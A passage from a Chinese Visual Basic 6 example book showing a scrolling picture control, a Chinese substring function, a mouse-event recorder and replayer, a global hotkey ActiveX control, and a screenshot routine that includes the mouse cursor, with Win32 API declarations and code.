（3）在工程中添加4个PictureBox控件，设置为名称为Pic的控件数组，设置Appearance属性为0-Flat，扁平效果。设置BackColor属性为&H00000000&，黑色。

（4）在窗体上添加一个PictureBox控件。命名为Picture1，设置AutoSize属性为True，设置Picture属性为指定的图片，该图片一定要大于窗体，以便可以移动。

（5）在窗体上添加一个Timer控件，设置Interval属性为50。

（6）主要程序代码。

将窗体中的Timer1控件的Interval属性设置为50，即每50毫秒调用一次，判断标识变量t4的值，根据该值执行相应的操作。



t4=1，向上移动
t4=2，向下移动
t4=3，向左移动
t4=4，向右移动




关键代码如下：



Private Sub Timer1_Timer()
    '如果是向上移动，则向上移动120缇
    If (t4 = 1) And (Picture1.Top < 0) Then Picture1.Top = Picture1.Top + 120
    '如果是向下移动，则向下移动120缇
    If (t4 = 2) And (Picture1.Top > Me.Height - Picture1.Height) Then Picture1.Top = Picture1.Top - 120
    '如果是向左移动，则向左移动80缇
    If (t4 = 3) And (Picture1.Left < 0) Then Picture1.Left = Picture1.Left + 80
    '如果是向右移动，则向右移动80缇
    If (t4 = 4) And (Picture1.Left > Me.Width - Picture1.Width) Then Picture1.Left = Picture1.Left - 80
End Sub




当鼠标在Picture1上移动时，设置窗体级变量t4的值为99，图片Picture1不做移动操作，程序代码如下：



Private Sub Picture1_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
    Dim mouseover As Boolean                                    '定义布尔型变量
    mouseover = (0 <= X) And (X <= Picture1.Width)                        '给变量赋值
    If mouseover Then                                        '如果在图片范围内
        t4 = 99                                            '设置t4的值
    End If
End Sub




秘笈心法

心法领悟456：获取子中文字符串的函数（CSubStr函数）。

本例将定义一个用于获取子中文字符串的函数。该函数返回子中文字符串，其值为字符型。参数mystr为中文字符串表达式；s必要参数，为整型；l可选参数，指定要返回的中文字符数。

函数名称：CSubStr函数。

函数功能：获取子中文字符串。

函数语法如下：



Function CSubStr(ByVal mystr As String, s As Integer, Optional l As Variant) As String
    Dim tmpstr  As String
    If IsMissing(l) Then
        tmpstr = StrConv(MidB(StrConv(mystr, vbFromUnicode), s), vbUnicode)
    Else
        tmpstr = StrConv(MidB(StrConv(mystr, vbFromUnicode), s, l), vbUnicode)
    End If
    CSubStr = tmpstr
End Function




例如，获取中文字符串“吉林省明日科技有限公司”的子字符，其代码如下：



CSubStr("吉林省明日科技有限公司", 7, 5)




返回值：明日。



 实例457　鼠标事件记录

光盘位置：光盘\MR\14\457

高级

趣味指数：[image: ]




实例说明

应用程序的某些复杂功能，可能需要进行多次重复的操作。为了减少程序的人工干预，需要将重复的操作事件以脚本的形式保存。通过对生成的脚本的调用和对脚本事件的模拟，实现操作步骤重演。例如，本实例程序可以记录并重演鼠标的操作。程序的运行效果如图14.24所示，单击“录制”按钮，开始录制鼠标事件；单击“回放”按钮，重演鼠标事件。

[image: ]
图14.24　鼠标事件记录器界面



关键技术

本实例通过对鼠标轨迹、鼠标键状态的获取以及模拟实现了鼠标事件记录与重演的功能。下面对本实例中用到的关键技术进行详细讲解。

（1）对鼠标事件进行记录，需要记录鼠标的运行轨迹，获取各个时间点的鼠标位置。鼠标位置的获取通过使用API函数GetCursorPos实现。


说明：
 GetCursorPos函数的详细讲解请参见实例058中的关键技术。

获取鼠标指针区域顶点坐标的主要代码如下：



Dim point As POINTAPI
GetCursorPos point                                            '获取鼠标位置




（2）对鼠标事件的重演需要按照鼠标事件脚本移动鼠标位置。鼠标位置的设置通过使用API函数SetCursorPos实现。


说明：
 SetCursorPos函数的详细讲解请参见实例442中的关键技术。

（3）保存鼠标事件需要获取鼠标键的状态，鼠标键状态的获取通过使用API函数GetAsyncKeyState实现。


说明：
 GetAsyncKeyState函数的详细讲解请参见实例402中的关键技术。

（4）进行鼠标事件的重演，需要对鼠标事件进行模拟。模拟鼠标事件通过使用API函数mouse_event实现，语法如下：



[Public | Private] Declare Sub mouse_event Lib "user32" (ByVal dwFlags As Long, ByVal dx As Long, ByVal dy As Long, ByVal cButtons As Long, ByVal dwExtraInfo As Long)




参数说明

❶dwFlags：标志位集，指定点击按钮和鼠标动作的多种情况。

❷dx：指定鼠标沿x轴的绝对位置或者从上次鼠标事件产生以来移动的数量。

❸dy：指定鼠标沿y轴的绝对位置或者从上次鼠标事件产生以来移动的数量。

❹dwExtraInfo：指定与鼠标事件相关的附加32位值。应用程序调用函数GetMessageExtraInfo来获得此附加信息。

例如，下面代码模拟鼠标左键单击事件。



mouse_event MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0
mouse_event MOUSEEVENTF_LEFTUP, 0,0, 0, 0




设计过程

（1）添加一个窗体，命名为Form1，其Caption属性为“鼠标事件记录器”。

（2）添加一个CheckBox控件，命名为Chk_Hide，其Caption属性为“隐藏程序窗体”。

（3）添加一个CommonDialog控件，命名为CommonDialog1，用于打开鼠标事件记录。CommonDialog控件需要执行“工程”/“部件”命令添加。在“部件”对话框中选中Microsoft Common Dialog Control 6.0（SP6）复选框，并单击“确定”按钮。

（4）添加一个ImageList控件，命名为ImageList1，用于提供工具栏图标。ImageList控件需要执行“工程”/“部件”命令添加。在“部件”对话框中选中Microsoft Windows Common Controls 6.0（SP6）复选框，并单击“确定”按钮。

（5）添加一个Label控件，命名为Label1，其Caption属性为“按下ESC键都将停止录制或者回放”。

（6）添加两个Timer控件，分别命名为Tmr_Play、Tmr_Record。Tmr_Play用于执行鼠标事件重演，Tmr_Record用于执行鼠标事件记录。

（7）添加一个ToolBar控件，命名为ToolBar1，用于充当工具栏。

（8）添加两个公共模块，分别命名为Mdl_Mouse、Mdl_Routines。

（9）记录鼠标事件的思路，是将获取到的鼠标状态以结构数组的形式进行保存。记录鼠标事件过程代码如下：



Public Sub Record()
    GetCursorPos Cursor(i).Pos                                        '获取鼠标位置
    Esc = CBool(GetAsyncKeyState(vbKeyEscape))                            '判断是否按下Esc键
    Cursor(i).LButton = CBool(GetAsyncKeyState(vbLeftButton))                    '鼠标左键状态
    Cursor(i).MButton = CBool(GetAsyncKeyState(vbMiddleButton))                '鼠标中键状态
    Cursor(i).RButton = CBool(GetAsyncKeyState(vbRightButton))                    '鼠标右键状态
    '如果没有完成就设置下一个鼠标指针位置，如果完成就结束录制
    If (i < Samples) And (Not Esc) Then
        i = i + 1
    Else
        j = i - 1
        '略
        MsgBox "录制完毕", vbInformation
        Form1.Show
    End If
 
End Sub




重演鼠标事件的思路，是将在结构数组中保存的鼠标状态进行模拟。鼠标事件重演过程代码如下：



Public Sub Play()
    SetCursorPos Cursor(i).Pos.x, Cursor(i).Pos.y                                '设置鼠标指针坐标
    '模拟鼠标事件
    If (Not pLB) And (Cursor(i).LButton) Then mouse_event MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0
    If (pLB) And (Not Cursor(i).LButton) Then mouse_event MOUSEEVENTF_LEFTUP, 0, 0, 0, 0
    'ReGenerate Middle Mouse Button Events
    If (Not pMB) And (Cursor(i).MButton) Then mouse_event MOUSEEVENTF_MIDDLEDOWN, 0, 0, 0, 0
    If (pMB) And (Not Cursor(i).MButton) Then mouse_event MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0
    'ReGenerate Right Mouse Button Events
    If (Not pRB) And (Cursor(i).RButton) Then mouse_event MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0
    If (pRB) And (Not Cursor(i).RButton) Then mouse_event MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0
    'Monitor the Esc Key in Case User wants to skip
    Esc = CBool(GetAsyncKeyState(vbKeyEscape))
    '如果没有完成就设置下一个鼠标指针位置，如果完成就重演鼠标事件
    If (i < j) And (Not Esc) Then
        pLB = Cursor(i).LButton                                            '记录鼠标按键状态
        pMB = Cursor(i).MButton
        pRB = Cursor(i).RButton
        i = i + 1
    Else
        '略
        MsgBox "播放完毕", vbInformation
        Form1.Show
    End If
End Sub




将鼠标事件保存，用于在以后需要时调用，进行鼠标事件重演。保存鼠标事件脚本过程代码如下：



Public Sub SaveFile(ByVal FileName As String)
    On Error GoTo Error
    Dim Count As Long, TimeNow As String
    TimeNow = CStr(Now)
    Open FileName For Output Access Write Lock Write As #1                    '保存脚本
    Write #1, TimeNow, HW, RES, j                                    '写入时间等
    For Count = 1 To j
        Write #1, Cursor(Count).Pos.x, Cursor(Count).Pos.y, Cursor(Count).LButton, Cursor(Count).MButton, Cursor(Count).RButton                                                                    '写入状态
        DoEvents
    Next
    Close #1
    UnSaved = False                                            '脚本已被保存
    Exit Sub
Error:
    '略
End Sub




将保存的鼠标事件脚本打开，将各个时间的鼠标状态保存在结构数组中。打开鼠标事件脚本过程代码如下：



Public Sub LoadFile(ByVal FileName As String)
On Error GoTo Error
    Dim Count As Long
    Open FN For Input Access Read Lock Write As #1                            '加载脚本
        Input #1, RT, HW, RES, j
        If j <= 0 Then GoTo Error
        ReDim Cursor(j)
        For Count = 1 To j
            Input #1, Cursor(Count).Pos.x, Cursor(Count).Pos.y, Cursor(Count).LButton, Cursor(Count).MButton, Cursor(Count).RButton                                                                '读取鼠标指针坐标以及按键状态
            DoEvents
        Next
    Close #1
    PlayOnly = True
    UnSaved = False                                            '脚本已被保存
    If HW Then Form1.Chk_Hide = 1 Else Form1.Chk_Hide = 0                    '设置窗体隐藏选项
    '略
    Exit Sub
Error:
Close #1
Form1.CommonDialog1.FileName = "": FN = ""
MsgBox "文件操作失败", vbCritica
End Sub




秘笈心法

心法领悟457：AttachThreadInput函数。

函数功能：系统内的每个线程都有自己单独的输入队列。该函数允许线程和进程共享输入队列。连接了线程后，输入焦点、窗口激活、鼠标捕获、键盘状态以及输入队列状态都会进入共享状态。

函数声明如下：



Declare Function AttachThreadInput Lib "user32" Alias "AttachThreadInput" (ByVal idAttach As Long, ByVal idAttachTo As Long, ByVal fAttach As Long) As Long






 实例458　快捷键注册

光盘位置：光盘\MR\14\458

高级

趣味指数：[image: ]




实例说明

在程序中加入快捷键可以方便用户操作，因此快捷键被许多应用程序所采用，本实例提供了注册与使用快捷键的功能。运行本实例程序，在“功能键”下拉列表中选择F2选项，选中“组合键”栏的Ctrl、Alt复选框，按Ctrl+Alt+F2键，运行效果如图14.25所示。本实例程序可以实现任何组合键和功能键的搭配使用。

[image: ]
图14.25　快捷键控件调用Demo界面



关键技术

本实例主要通过对快捷键的注册、快捷键消息的监听、快捷键事件的触发来实现快捷键控件的创建。下面对本实例中用到的关键技术进行详细讲解。

（1）保存快捷键设置

快捷键控件需要将功能键与组合键的设置进行保存，方便程序对注册快捷键过程的调用。保存程序设置SaveSetting语句实现，语法如下：



SaveSetting appname, section, key, setting




SaveSetting语句的参数说明如表14.10所示。

表14.10　SaveSetting语句的参数说明



	参数
	说明



	appname
	必选参数。字符串表达式，包含应用程序或工程的名称，对这些应用程序或工程使用设置



	section
	必选参数。字符串表达式，包含区域名称，在该区域保存注册表项设置



	key
	必选参数。字符串表达式，包含将要保存的注册表项设置的名称



	setting
	必选参数。表达式，包含key的设置值




例如，下面代码在注册表中保存设置值。



SaveSetting "MyApp","Startup", "Left", 50




（2）获取快捷键设置

当程序运行时，需要获取关于功能键与组合键的设置。获取设置通过使用GetSetting函数实现。


说明：
 GetSetting函数的详细讲解请参见实例240中的关键技术。

例如，下面代码读取注册表中的设置值。



Debug.Print GetSetting("MyApp", "Startup", "Left", "25")




（3）快捷键的注册

设置功能键和组合键后开始对快捷键的注册，快捷键的注册通过使用API函数RegisterHotKey实现。API函数RegisterHotKey的声明方法如下：



[Public | Private] Declare Function RegisterHotKey Lib "user32" (ByVal hwnd As Long, ByVal id As Long, ByVal fsModifiers As Long, ByVal vk As Long) As Long




API函数RegisterHotKey的参数说明如表14.11所示。

表14.11　API函数RegisterHotKey的参数说明



	参数
	说明



	hwnd
	接收热键产生WM_HOTKEY消息的窗口句柄。若该参数为Null，传递给调用线程的WM_HOTKEY消息必须在消息循环中进行处理



	id
	定义热键的标识符。调用线程中的其他热键不能使用同样的标识符。应用功能程序必须定义一个0x0000～0xBFFF范围的值。一个共享的动态链接库（DLL）必须定义一个0xC000～0xFFFF范围的值（GlobalAddAtom函数返回该范围）。为了避免与其他动态链接库定义的热键冲突，一个DLL必须使用GlobalAddAtom函数获得热键的标识符



	fsModifiers
	定义为了产生WM_HOTKEY消息而必须与由nVirtKey参数定义的键一起按下。该参数可以是如下值的组合。

[image: ]
 　MOD_ALT：按下的可以是任一Alt键

[image: ]
 　MOD_CONTROL：按下的可以是任一Ctrl键

[image: ]
 　MOD_SHIFT：按下的可以是任一Shift键

[image: ]
 　MOD_WIN：按下的可以是任一Windows按键。这些键可以用Microsoft Windows日志记录下来



	vk
	定义热键的虚拟键码




例如，下面代码将Ctrl+F设置为快捷键。



ret = RegisterHotKey(Me.hWnd, &HBFFF&, MOD_CONTROL, vbKeyF)




（4）快捷键消息的监听

快捷键注册后需要监听快捷键被按下的消息，该消息主要通过使用API函数PeekMessage获得。API函数PeekMessage声明方法如下：



[Public | Private] Declare Function PeekMessage Lib "user32" Alias "PeekMessageA" (lpMsg As MSG, ByVal hwnd As Long, ByVal wMsgFilterMin As Long, ByVal wMsgFilterMax As Long, ByVal wRemoveMsg As Long) As Long




API函数PeekMessage的参数说明如表14.12所示。

表14.12　API函数PeekMessage的参数说明



	参数
	说明



	lpMsg
	接收消息信息的MSG结构指针



	hwnd
	其消息被检查的窗口的句柄



	wMsgFilterMin
	指定被检查的消息范围中的第一个消息



	wMsgFilterMax
	指定被检查的消息范围中的最后一个消息



	wRemoveMsg
	确定消息如何被处理。此参数可取下列值之一。

[image: ]
 　PM_NOREMOVE：PeekMessage处理后，消息不从队列中除掉

[image: ]
 　PM_REMOVE：PeekMessage处理后，消息从队列中除掉

可将PM_NOYIELD随意组合到PM_NOREMOVE或PM_REMOVE。此标志使系统不释放等待调用程序空闲的线程。

默认地处理所有类型的消息。若只处理某些消息，指定一个或多个下列值。

[image: ]
 　PM_QS_INPUT：Windows NT 5.0和Windows 98处理鼠标和键盘消息

[image: ]
 　PM_QS_PAINT：Windows NT 5.0和Windows 98处理画图消息

[image: ]
 　PM_QS_POSTMESSAGE：Windows NT 5.0和Windows 98处理所有被寄送的消息，包括计时器和热键

[image: ]
 　PM_QS_SENDMESSAGE：Windows NT 5.0和Windows 98处理所有发送消息




例如，下面代码当收到快捷键消息时将窗体最小化。



If PeekMessage(Message, Me.hWnd, WM_HOTKEY, WM_HOTKEY, PM_REMOVE) Then
   Me.WindowState = vbMinimized
End If




（5）当不再需要注册的快捷键时，需要将其释放。释放快捷键通过使用API函数UnregisterHotKey实现，语法如下：



[Public | Private] Declare Function UnregisterHotKey Lib "user32" (ByVal hwnd As Long, ByVal id As Long) As Long




参数说明

❶hwnd：与被释放的热键相关的窗口句柄。若热键不与窗口相关，则该参数为Null。

❷id：定义被释放的热键的标识符。

例如，下面代码释放中断号为HBFFF的快捷键。



Call UnregisterHotKey(Me.hWnd, &HBFFF&)




（6）当收到快捷键消息后引发快捷键事件，为调用快捷键控件的窗体提供快捷键触发事件。快捷键事件使用RaiseEvent语句引发，语法如下：



RaiseEvent eventname [(argumentlist)]




参数说明

❶eventname：必选参数。所引发的事件的名称。

❷argumentlist：可选参数。用逗号分隔的变量、数组或者表达式的列表。argumentlist必须用圆括号括起来。如果没有参数，则圆括号必须被忽略。

例如，下面代码用于引发UpdateTime事件和ChangeText事件。



Public Event UpdateTime(ByVal dblJump As Double)
Public Event ChangeText()
 
Public Sub TimerTask(ByVal Duration As Double)
    Dim dblStart As Double
    Dim dblSecond As Double
    Dim dblSoFar As Double
    dblStart = Timer
    dblSoFar = dblStart
 
    Do While Timer < dblStart + Duration
        If Timer - dblSoFar >= 1 Then
            dblSoFar = dblSoFar + 1
            RaiseEvent UpdateTime(Timer - dblStart)
        End If
    Loop
    RaiseEvent ChangeText
End Sub




设计过程

（1）创建ActiveX控件工程，添加UserControl，命名为FastKeyOcx。

（2）在FastKeyOcx上添加一个Combo控件，命名为Cbx_Key，用于选择功能键。

（3）添加3个CheckBox控件，分别命名为Chk_Alt、Chk_Ctrl、Chk_Shift。Chk_Alt用于指定组合键中是否包含Alt键；Chk_Ctrl用于指定组合键中是否包含Ctrl键；Chk_Shift用于指定组合键中否包含Shift键。

（4）添加一个CommandButton控件，命名为Cmd_Ok，应用于注册快捷键。Cmd_Ok的Caption属性设置为“应用”。

（5）添加一个Frame控件，命名为Frame1。

（6）添加一个Label控件，命名为Label1。Label1的Caption属性设置为“功能键：”。

（7）添加一个公共模块，命名为Module1。

（8）调用快捷键控件，首先需要对快捷键配置选项进行初始化。在下面的代码中，为下拉列表框添加列表项（功能键），根据程序设置选择组合键。快捷键配置选项进行初始化代码如下：



Public Sub IniFastKeyOcx()
    Cbx_Key.Clear
    Dim i As Integer
    For i = 1 To 12
        Cbx_Key.AddItem "F" & i                                        '添加列表项
    Next i
    key = GetSetting(AppName, "config", "key1", "F2")                            '获取注册表中保存的设置
    Cbx_Key.Text = key
    Dim keycomb As Integer
    keycomb = GetSetting(AppName, "config", "keycomb", 0)                        '获取注册表中保存的设置
    If (TransKeytoNum2("Ctrl") And keycomb Xor keycomb = 0) And keycomb <> 0 Then        '当选择Ctrl时
        Chk_Ctrl.Value = 1
    End If
    If (TransKeytoNum2("Alt") And keycomb Xor keycomb = 0) And keycomb <> 0 Then        '当选择Alt时
        Chk_Alt.Value = 1
    End If
    If (TransKeytoNum2("Shift") And keycomb Xor keycomb = 0) And keycomb <> 0 Then        '当选择Shift时
        Chk_Shift.Value = 1
    End If
    keycombinationuse = keycombination
End Sub




组合键可能由多个控制键搭配使用，组合键的消息值通过对各个被选中的控制键的常数进行或运算获得。组合键消息值生成过程代码如下：



Private Sub Chk_Alt_Click()                                            'Alt键
    If Chk_Alt.Value = 1 Then
        keycombination = keycombination Or TransKeytoNum2("Alt")
    Else
        keycombination = keycombination Xor TransKeytoNum2("Alt")
    End If
End Sub
 
Private Sub Chk_Ctrl_Click()                                            'Ctrl键
    If Chk_Ctrl.Value = 1 Then
        keycombination = keycombination Or TransKeytoNum2("Ctrl")
    Else
        keycombination = keycombination Xor TransKeytoNum2("Ctrl")
    End If
End Sub
 
Private Sub Chk_Shift_Click()                                             'Shift键
    If Chk_Shift.Value = 1 Then
        keycombination = keycombination Or TransKeytoNum2("Shift")
    Else
        keycombination = keycombination Xor TransKeytoNum2("Shift")
    End If
End Sub




在组合键消息值生成过程中调用了公共模块中的自定义函数TransKeytoNum2，用于获取控制键的常数，创建自定义函数TransKeytoNum2代码如下：



Public Function TransKeytoNum2(ByVal key1 As String)                            '控制键常数
    Select Case key1
    Case "Ctrl"
        TransKeytoNum2 = MOD_CONTROL
    Case "Alt"
        TransKeytoNum2 = MOD_ALT
    Case "Shift"
        TransKeytoNum2 = MOD_SHIFT
    End Select
End Function




选择功能键和组合键后就可以开始快捷键的注册，快捷键注册过程代码如下：



Private Sub Cmd_Ok_Click()
    If Trim(AppName) = "" Then
        AppName = "快捷键控件"
    End If
    key = Cbx_Key.Text
    keycombinationuse = keycombination
    SaveSetting AppName, "config", "key1", Cbx_Key.Text                            '保存快捷键设置
    SaveSetting AppName, "config", "keycomb", keycombination
    RegFastKey                                                    '注册快捷键
End Sub
Public Sub RegFastKey()                                                '注册快捷键
    Dim ret As Long
    bCancel = False
    ret = RegisterHotKey(hwnd, &HBFFF&, keycombination, TransKeytoNum1(Cbx_Key.List(Cbx_Key.ListIndex)))
    ProcessMessages
End Sub




上面代码中的调用TransKeytoNum1是公共模块中用于获取功能键常数的自定义函数。自定义函数TransKeytoNum1定义过程代码如下：



Public Function TransKeytoNum1(ByVal key As String) As Integer                        '功能键值函数
    Select Case key
    Case "F1"
        TransKeytoNum1 = vbKeyF1
    Case "F2"
        TransKeytoNum1 = vbKeyF2
    Case "F3"
        TransKeytoNum1 = vbKeyF3
    Case "F4"
        TransKeytoNum1 = vbKeyF4
    Case "F5"
        TransKeytoNum1 = vbKeyF5
    Case "F6"
        TransKeytoNum1 = vbKeyF6
    Case "F7"
        TransKeytoNum1 = vbKeyF7
    Case "F8"
        TransKeytoNum1 = vbKeyF8
    Case "F9"
        TransKeytoNum1 = vbKeyF9
    Case "F10"
        TransKeytoNum1 = vbKeyF10
    Case "F11"
        TransKeytoNum1 = vbKeyF11
    Case "F12"
        TransKeytoNum1 = vbKeyF12
    End Select
End Function




快捷键注册后开始监听快捷键消息，当获取到快捷键消息后，触发快捷键事件。监听快捷键消息过程代码如下：



Private Sub ProcessMessages()                                            '监听快捷键消息
    Dim Message As Msg
    Do While Not bCancel
        If PeekMessage(Message, hwnd, WM_HOTKEY, WM_HOTKEY, &H1) Then            '检查消息队列
            Select Case Message.lParam
            Case TransKeytoNum1(key) * 65536 + keycombinationuse                    '判断消息值
                RaiseEvent FastKeyEvent                                    '返回快捷键事件
            End Select
        End If
        DoEvents
    Loop
End Sub




当关闭调用快捷键控件的程序时，需要释放快捷键。释放快捷键过程代码如下：



Public Sub UnRegFastKey()
    bCancel = True
    UnregisterHotKey hwnd, &HBFFF&                                    '释放快捷键
End Sub




（9）将ActiveX控件工程编译为控件，命名为FastKey.ocx。

（10）新建一个工程，并调用FastKey.ocx。选择“工程”/“部件”命令，打开“部件”对话框，在该对话框中单击“浏览”按钮，选择FastKey.ocx的路径，如图14.26所示，单击“确定”按钮完成控件的添加。

[image: ]
图14.26　调用FastKey.ocx



（11）在窗体上添加一个FastKey控件，命名为FastKey1。控件FastKeyl调用代码如下：



Private Sub Form_Activate()
    FastKeyOcx1.RegFastKey
End Sub
 
Private Sub Form_Load()
    FastKeyOcx1.AppName = App.Title
    FastKeyOcx1.IniFastKeyOcx
End Sub
 
Private Sub Form_Unload(Cancel As Integer)
    FastKeyOcx1.UnRegFastKey
End Sub
Private Sub FastKeyOcx1_FastKeyEvent()
    '快捷键事件
End Sub




秘笈心法

心法领悟458：BeginDeferWindowPos函数。

函数功能：启动构建一系列新窗口位置的过程。

该函数向一个内部结构返回一个句柄，这个结构容纳了与窗口位置相关的信息。然后调查用户DeferWindowPos函数填充该结构。准备好更新所有窗口位置以后再调用EndDeferWindowPos，可同时更新该结构内所有窗口的位置。

函数声明如下：



Declare Function BeginDeferWindowPos Lib "user32" Alias "BeginDeferWindowPos" (ByVal nNumWindows As Long) As Long





 14.3　鼠标应用



 实例459　带鼠标指针的屏幕抓图

光盘位置：光盘\MR\14\459

高级

趣味指数：[image: ]




实例说明

在屏幕抓图过程中，无法直接将鼠标指针抓取到图片中。如果希望在抓取的屏幕图片中能够显示鼠标指针，需要采用鼠标指针绘制的过程。例如，本实例程序在进行局部抓图或全屏抓图时，可以将显示器屏幕和鼠标指针一同保存在图片中。运行本实例程序，选中“鼠标指针”复选框，选择“局部抓图”模式，将鼠标悬停在本实例程序窗体上，按Ctrl+S键进行抓图，抓图效果如图14.27所示。

[image: ]
图14.27　带鼠标指针的屏幕抓图



关键技术

本实例主要通过对显示器屏幕场景的获取、鼠标指针样式的绘制，实现带有鼠标指针的屏幕抓图功能。下面对本实例中用到的关键技术进行详细讲解。

1．屏幕捕捉

（1）设备场景

创建设备场景通过使用API函数CreateDC实现，语法如下：



[Public | Private] Declare Function CreateDC Lib "gdi32" Alias "CreateDCA" (ByVal lpDriverName As String , ByVal lpDeviceName As String, ByVal lpOutput As String, lpInitData As DEVMODE) As Long




返回值类型为Long，是新设备场景句柄，若出错则为0。

参数说明如表14.13所示。

表14.13　API函数CreateDC的参数说明



	参数
	类型
	说明



	lpDriverName
	String
	用vbNullString传递Null值给该参数，除非：1．用DISPLAY，是获取整个屏幕的设备场景；2．用WINSPOOL，则是访问打印驱动



	lpDeviceName
	String
	所用专门设备的名称。该名由打印管理器分配显示



	lpOutput
	String
	用vbNullString传递Null值给该参数



	lpInitData
	DEVMODE
	这个结构保存初始值。用CreateDCBynum传递0（Null）值则适用默认设置




（2）内存场景

内存场景的创建是通过API函数CreateCompatibleDC实现的，该函数用于创建一个与特定设备场景一致的内存设备场景，语法如下：



Public Declare Function CreateCompatibleDC Lib "gdi32" Alias "CreateCompatibleDC" (ByVal hdc As Long) As Long




参数说明

hdc：Long，设备场景句柄。新的设备场景将与它一致。也可能为0以创建一个与屏幕一致的设备场景。

返回值：Long，新设备场景句柄，若出错则为0。


注意：
 在绘制之前，先要为该设备场景选定一个位图。不再需要时该设备场景可用DeleteDC函数删除。删除前，其所有对象应恢复初始状态。

（3）位图场景

位图场景的创建是通过使用API函数CreateCompatibleBitmap实现的。


说明：
 CreateCompatibleBitmap函数的详细讲解请参见实例252中的关键技术。

（4）选择图形对象

在设备场景中选择图像对象通过使用API函数SelectObject实现。


说明：
 SelectObject函数的详细讲解请参见实例252中的关键技术。

（5）复制场景

将一幅位图从一个设备场景复制到另一个场景通过使用API函数BitBlt实现，语法如下：



[Public | Private] Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long , ByVal x As Long , ByVal y As Long, ByVal nWidth As Long , ByVal nHeight As Long , ByVal hSrcDC As Long , ByVal xSrc As Long , ByVal ySrc As Long , ByVal dwRop As Long) As Long




返回值类型为Long，非0表示成功，0表示失败。

参数说明如表14.14所示。

表14.14 API函数BitBlt的参数说明



	参数
	说明



	hDestDC
	Long，目标设备场景



	x,y
	Long，对目标DC中目标矩形左上角位置进行描述的那个点。用目标DC的逻辑坐标表示



	nWidth,nHeight
	Long，欲传输图像的宽度和高度



	hSrcDC
	Long，源设备场景。如光栅运算未指定源，则应设为0



	xSrc,ySrc
	Long，对源DC中源矩形左上角位置进行描述的那个点。用源DC的逻辑坐标表示



	dwRop
	Long，传输过程要执行的光栅运算





说明：
 BitBlt的全称是Bit Block Transfer（位块传输），专门用于将源设备上下文的一部分图像直接传送到当前设备上下文中。此函数实际上完成的功能是图像的内存复制，所以效率很高。在下面的实例中将应用此函数来显示图像。

（6）删除与释放场景

当完成屏幕抓图的操作后，需要将内存场景与设备场景删除或释放。删除内存场景由API函数DeleteDC实现，语法如下：



Public Declare Function DeleteDC Lib "gdi32" (ByVal hdc As Long) As Long




返回值类型为Long，非0表示成功，0表示失败。

参数说明

hdc：类型为Long，一个场景的句柄。

释放设备场景由API函数ReleaseDC实现，语法如下：



[Public | Private] Declare Function ReleaseDC Lib "user32" (ByVal hwnd As Long , ByVal hdc As Long) As Long




返回值类型为Long，1表示成功，0表示失败。

参数说明

❶hwnd：类型为Long，场景所在窗体的句柄。

❷hdc：类型为Long，场景句柄。

（7）屏幕抓图

对显示器屏幕进行抓图的主要代码如下：



Dim obj As DEVMODE
SourceDC = CreateDC("DISPLAY", 0, 0, obj)                                    '创建设备场景
DestDC = CreateCompatibleDC(SourceDC)                                    '创建内存场景
Bhandle = CreateCompatibleBitmap(SourceDC, Screen.Width / Screen.TwipsPerPixelX, _
          Screen.Height / Screen.TwipsPerPixelY)                                '位图场景
SelectObject DestDC, Bhandle                                            '选择位图对象
BitBlt DestDC, 0, 0, Screen.Width / Screen.TwipsPerPixelX, Screen.Height / Screen.TwipsPerPixelY, _
       SourceDC, 0, 0, &HCC0020                                        '复制场景
Dim wnd As Long
wnd = Me.hwnd                                                    '窗体句柄
OpenClipboard wnd                                                    '打开剪贴板
EmptyClipboard                                                    '清空剪贴板并释放数据句柄
SetClipboardData 2, Bhandle                                            '设置剪贴板中数据
CloseClipboard                                                    '关闭剪贴板
'删除专用设备场景或信息场景，释放所有相关窗口资源
DeleteDC DestDC
'释放指定设备场景
ReleaseDC wnd, SourceDC
Picture1.Picture = Clipboard.GetData()                                        '获取剪贴板中的图像




2．鼠标指针定位

由于鼠标指针样式并不能直接从屏幕中复制，需要利用代码将鼠标指针样式粘贴到内存场景中。将鼠标指针样式粘贴到内存场景中需要考虑指针坐标以及指针样式。下面将对指针坐标的定位和指针样式的获取进行介绍。

（1）获取鼠标指针区域顶点坐标

获取鼠标指针坐标通过使用API函数GetCursorPos实现。


说明：
 GetCursorPos函数的详细讲解请参见实例058中的关键技术。

获取鼠标指针区域顶点坐标的主要代码如下：



Dim point As POINTAPI
GetCursorPos point                                            '获取鼠标位置




（2）获取鼠标指针绘制坐标

获取的指针区域顶点坐标并不是绘制鼠标指针样式的准确坐标，因为鼠标样式与指针区域顶点坐标还有一定距离。

这个距离需要使用API函数GetIconInfo获取，语法如下：



[Public | Private] Declare Function GetIconInfo Lib "user32" Alias "GetIconInfo" (ByVal hIcon As Long, piconinfo As ICONINFO) As Long




参数说明

❶hIcon：图标的句柄。

❷piconinfo：图标信息结构。

获取图标信息代码如下：



Dim ico As ICONINFO
GetIconInfo cursorpoint, ico                                    '获取ICO信息




鼠标指针绘制的横坐标=鼠标指针区域的横坐标–ico.xHotspot

鼠标指针绘制的纵坐标=鼠标指针区域的纵坐标–ico.yHotspot

3．获取鼠标指针句柄

通过使用API函数GetCursor获取鼠标指针的句柄，语法如下：



[Public | Private] Declare Function GetCursor Lib "user32" () As Long




返回值类型为Long，表示目前使用的指针的句柄。倘若不存在指针，则返回0。


注意：
 这个函数返回的是当前线程的指针——不能获取其他应用程序的指针。

4．进程连接

如果要捕捉位于其他程序上方的鼠标指针样式，需要将当前程序与目标程序的进程进行连接。

进程的连接通过使用API函数AttachThreadInput实现，语法如下：



[Public | Private] Declare Function AttachThreadInput Lib "user32" (ByVal idAttach As Long , ByVal idAttachTo As Long , ByVal fAttach As Long) As Long




返回值类型为Long，非0表示成功，0表示失败。

参数说明如表14.15所示。

表14.15 API函数AttachThreadInput的参数说明



	参数
	类型
	说明



	idAttach
	Long
	　　　　　欲连接线程的标识符（ID）



	idAttachTo
	Long
	　　　　　与idAttach线程连接的另一个线程的标识符



	fAttach
	Long
	　　　　　True（非0）连接，False撤销连接





注意：
 调用API函数AttachThreadInput时，会重设键盘状态。

在本程序中实现进程连接代码如下：



AttachThreadInput yourprocid, myprocid, True                        '连接进程




取消进程连接代码如下：



